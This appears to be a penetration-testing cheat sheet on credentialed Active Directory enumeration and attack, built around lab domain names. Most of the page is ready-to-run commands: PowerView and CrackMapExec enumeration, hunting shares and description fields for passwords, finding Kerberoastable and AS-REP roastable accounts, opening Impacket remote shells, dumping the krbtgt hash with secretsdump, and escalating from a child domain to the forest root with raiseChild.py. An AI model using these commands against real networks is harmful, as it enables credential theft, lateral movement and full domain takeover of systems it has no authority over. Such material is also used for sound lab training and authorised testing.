AD Enumeration (Credentialed)

Everything on this page needs at least one valid domain credential, but opens up a far more complete view of the domain than anything unauthenticated allows, full user/group/computer listings, trust mapping, ACLs, GPOs, and which accounts are actually attackable.

Windows
Linux

Active Directory PowerShell Module

The built in AD module, no third party tooling required.

Import-Module ActiveDirectory

Get-ADDomain                                                                              # info about the current domain
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName      # native Kerberoastable account search, no PowerView needed
Get-ADTrust -Filter *                                                                       # trust relationships
Get-ADGroup -Filter * | select name                                                         # list all groups
Get-ADGroup -Identity "Backup Operators"                                                    # detailed info on one group
Get-ADGroupMember -Identity "Backup Operators"                                               # list that group's members
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt           # dump every domain username to a file

SharpView

.NET port of PowerView, useful when PowerShell itself is restricted.

.\SharpView.exe Get-DomainUser -Help
.\SharpView.exe Get-DomainUser -Identity forend

Automated Recon & Assessment Tools

Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data   # crawls accessible shares/files hunting for credentials and other sensitive data
PingCastle.exe                                                    # automated AD security assessment, flags misconfigurations at a glance
.\ADRecon.ps1                                                      # broad automated recon/reporting on the current environment

Every command to manually gather informations about the domain, on this page (users, groups, sessions, ACLs, trusts) is what BloodHound collects and graphs automatically, then uses to compute actual attack paths to Domain Admin.

PowerView - General Domain Info

Import-Module .\PowerView.ps1

Get-Domain                            # current domain
Get-Domain -Domain <domain-name>       # specific domain
Get-DomainPolicy                       # domain policy (password policy, etc.)
Get-DomainController                   # current domain's DC
Get-DomainController -Domain <domain-name>

PowerView - Users & Groups

Get-DomainUser | Select-Object -ExpandProperty cn | Out-File user.txt
Get-DomainUser -Identity <user-name> -Domain inlanefreight.local
Get-DomainGroupMember -Identity "Domain Admins" -Recurse

# legacy Get-Net* equivalents (older PowerView cmdlets, same data)
Get-NetGroup | Select name
Get-NetGroup 'Domain Admins'
Get-NetGroupMember 'Domain Admins' | select MemberName
Get-NetGroup -username '<username>' | select name

PowerView - Computers, Shares & GPOs

Get-NetComputer | Select name, os
Get-NetComputer -Domain <domain-name>

Find-DomainShare -ComputerName <name>
Find-DomainShare -ComputerName <name> -CheckShareAccess
Get-NetShare

Get-DomainGPO | select displayname
Get-NetGPO | select displayname
Get-NetOU | select name

PowerView - Trusts & Forests

Get-DomainTrust
Get-DomainTrustMapping
Get-NetDomainTrust

Get-NetForest
Get-NetForest -Forest <forest-name>
Get-NetForestTrust
Get-NetForestTrust -Forest <forest-name>
Get-NetForestDomain
Get-NetForestDomain -Forest <forest-name>

PowerView - ACLs

$sid = Convert-NameToSid wley
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}   # ACL entries for one user

Find-InterestingDomainAcl -ResolveGUIDs   # every ACL worth a second look, domain-wide

Finding Kerberoastable Accounts

Check the Kerberoasting page, for detailed informations.

Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName
Get-NetUser -SPN   # legacy equivalent

Finding AS-REP Roastable Accounts

Check the AS-REP Roasting page, for detailed informations.

Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol
Get-NetUser -PreauthNotRequired                                          # legacy equivalent
Get-Domainuser | Where-Object {$_.UserAccountControl -like "*DONT_REQ_PREAUTH*"}

Finding Weak/Exposed Credentials

# description fields are a surprisingly common place to find a plaintext password
Get-DomainUser * | Select-Object samaccountname,description | Where-Object {$_.Description -ne $null}

# accounts that don't require a password at all
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol

Finding Admin Access

Test-AdminAccess -ComputerName ACADEMY-EA-MS01   # test admin access on one machine
Find-LocalAdminAccess                             # find every machine the current user has admin on

CrackMapExec - Domain Objects

sudo crackmapexec smb <ip> -u <user> -p <pass> --users           # list all domain users
sudo crackmapexec smb <ip> -u <user> -p <pass> --groups          # list all domain groups
sudo crackmapexec smb <ip> -u <user> -p <pass> --loggedon-users  # currently logged-on users, useful for finding where a privileged session is actually sitting

CrackMapExec - Shares

sudo crackmapexec smb <ip> -u <user> -p <pass> --shares
sudo crackmapexec smb <ip> -u <user> -p <pass> --share '<share-name>' -M spider_plus   # spider a specific share for interesting files

Remote Shells (Impacket)

The full psexec/wmiexec/smbexec/atexec/dcomexec breakdown lives on Remote Access & Execution, the two most relevant for enumeration itself:

psexec.py <domain>/<user>:'<pass>'@<ip>    # full interactive shell
wmiexec.py <domain>/<user>:'<pass>'@<ip>   # stealthier, no service created, no binary dropped

LDAP & DNS Enumeration

python3 windapsearch.py --dc-ip <dc-ip> -u <user>@<domain-name> -p <pass> -U   # enumerate all AD users; --da for Domain Admins, -PU for privileged users
adidnsdump -u inlanefreight\\forend ldap://172.16.5.5 -r                          # dump AD-integrated DNS records, surfaces internal hostnames nothing else reveals

Targeted Hash Dumping

Needs DCSync rights on the account running this, pulls a single account’s hash remotely without touching NTDS.dit directly, full DCSync/NTDS.dit breakdown lives on the AD domain credential dumping page.

secretsdump.py logistics.inlanefreight.local/[email protected] -just-dc-user LOGISTICS/krbtgt   # here, specifically the krbtgt hash

Child Domain → Forest Privilege Escalation

Abuses the implicit, bidirectional trust between a child domain and its forest root: compromising a child domain is enough to forge trust tickets that are honored at the forest root.

raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm

Quick Reference Tools

AD Enumeration (Unauthenticated)

The pre-credential step: username lists, password policy, spraying.

AD Kerberos Ticket Attacks

What to do with a Kerberoastable account found here.

Remote Access & Execution

The full psexec/wmiexec breakdown referenced in the Linux tab above.

PowerView

The primary tool used throughout the Windows tab above.

Get Started

Web

Linux

Windows

Active Directory

Services & Protocols

Password Attacks

Lateral Movement

Techniques

Tools & Resources

AD Enumeration (Credentialed)

Active Directory PowerShell Module

SharpView

Automated Recon & Assessment Tools

PowerView - General Domain Info

PowerView - Users & Groups

PowerView - Computers, Shares & GPOs

PowerView - Trusts & Forests

PowerView - ACLs

Finding Kerberoastable Accounts

Finding AS-REP Roastable Accounts

Finding Weak/Exposed Credentials

Finding Admin Access

CrackMapExec - Domain Objects

CrackMapExec - Shares

Remote Shells (Impacket)

LDAP & DNS Enumeration

Targeted Hash Dumping

Child Domain → Forest Privilege Escalation

Quick Reference Tools

AD Enumeration (Unauthenticated)

AD Kerberos Ticket Attacks

Remote Access & Execution

PowerView

​Active Directory PowerShell Module

​SharpView

​Automated Recon & Assessment Tools

​PowerView - General Domain Info

​PowerView - Users & Groups

​PowerView - Computers, Shares & GPOs

​PowerView - Trusts & Forests

​PowerView - ACLs

​Finding Kerberoastable Accounts

​Finding AS-REP Roastable Accounts

​Finding Weak/Exposed Credentials

​Finding Admin Access

​CrackMapExec - Domain Objects

​CrackMapExec - Shares

​Remote Shells (Impacket)

​LDAP & DNS Enumeration

​Targeted Hash Dumping

​Child Domain → Forest Privilege Escalation

​Quick Reference Tools

AD Enumeration (Unauthenticated)

AD Kerberos Ticket Attacks

Remote Access & Execution

PowerView

Active Directory PowerShell Module

SharpView

Automated Recon & Assessment Tools

PowerView - General Domain Info

PowerView - Users & Groups

PowerView - Computers, Shares & GPOs

PowerView - Trusts & Forests

PowerView - ACLs

Finding Kerberoastable Accounts

Finding AS-REP Roastable Accounts

Finding Weak/Exposed Credentials

Finding Admin Access

CrackMapExec - Domain Objects

CrackMapExec - Shares

Remote Shells (Impacket)

LDAP & DNS Enumeration

Targeted Hash Dumping

Child Domain → Forest Privilege Escalation

Quick Reference Tools